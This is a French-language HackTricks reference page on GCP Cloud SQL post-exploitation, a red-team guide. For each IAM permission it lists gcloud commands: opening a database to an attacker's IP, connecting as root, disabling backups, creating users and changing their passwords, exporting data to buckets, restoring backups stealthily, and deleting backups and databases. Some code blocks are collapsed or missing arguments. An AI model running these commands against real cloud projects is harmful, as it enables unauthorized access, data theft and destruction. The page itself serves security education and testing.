GCP - Cloud SQL Post Exploitation

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Cloud SQL

Pour plus d’informations sur Cloud SQL, consultez :

GCP - Cloud SQL Enum

cloudsql.instances.update, ( cloudsql.instances.get)

Pour se connecter aux bases de données, vous avez simplement besoin d’accéder au port de la base de données et de connaître le nom d’utilisateur et le mot de passe ; il n’y a aucune exigence IAM. Ainsi, un moyen simple d’obtenir l’accès, si la base de données possède une adresse IP publique, est de mettre à jour les réseaux autorisés et d’autoriser votre propre adresse IP à y accéder.

Autoriser votre adresse IP et se connecter à la base de données ```bash # Use --assign-ip to make the database get a public IPv4 gcloud sql instances patch $INSTANCE_NAME \ --authorized-networks "$(curl ifconfig.me)" \ --assign-ip \ --quiet

mysql -h <ip_db> # If mysql

With cloudsql.instances.get you can use gcloud directly

gcloud sql connect mysql –user=root –quiet

</details>

Il est aussi possible d'utiliser **`--no-backup`** pour **perturber les sauvegardes** de la base de données.

Comme ce sont les exigences, je ne suis pas complètement sûr de l'utilité des permissions **`cloudsql.instances.connect`** et **`cloudsql.instances.login`**. Si vous le savez, envoyez une PR!

### `cloudsql.users.list`

Obtenir une **liste de tous les utilisateurs** de la base de données :

<details>

<summary>Liste des utilisateurs de la base de données</summary>
```bash
gcloud sql users list --instance <intance-name>

cloudsql.users.create

Cette permission permet de créer un nouvel utilisateur dans la base de données:

Créer un utilisateur de base de données ```bash gcloud sql users create --instance --password ```

cloudsql.users.update

Cette permission permet de mettre à jour un utilisateur dans la base de données. Par exemple, vous pourriez changer son mot de passe :

Mettre à jour le mot de passe de l'utilisateur ```bash gcloud sql users set-password --instance --password ```

cloudsql.instances.restoreBackup, cloudsql.backupRuns.get

Les sauvegardes peuvent contenir des anciennes informations sensibles, il est donc intéressant de les vérifier.
Restaurer une sauvegarde dans une base de données:

Restaurer la sauvegarde de la base de données ```bash gcloud sql backups restore --restore-instance ```

Pour le faire de manière plus discrète, il est recommandé de créer une nouvelle instance SQL et d’y récupérer les données plutôt que dans les bases de données en cours d’exécution.

cloudsql.backupRuns.delete

Cette permission permet de supprimer des sauvegardes :

Supprimer la sauvegarde ```bash gcloud sql backups delete --instance ```

cloudsql.instances.export, storage.objects.create

Exporter une base de données vers un Cloud Storage Bucket afin que vous puissiez y accéder depuis là :

Exporter la base de données vers le bucket ```bash # Export sql format, it could also be csv and bak gcloud sql export sql --database ```

cloudsql.instances.import, storage.objects.get

Importer une base de données (écraser) depuis un Cloud Storage Bucket :

Importer la base de données depuis le Cloud Storage Bucket ```bash # Import format SQL, you could also import formats bak and csv gcloud sql import sql ```

cloudsql.databases.delete

Supprimer une base de données de l’instance de base de données :

Supprimer la base de données ```bash gcloud sql databases delete --instance ```

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks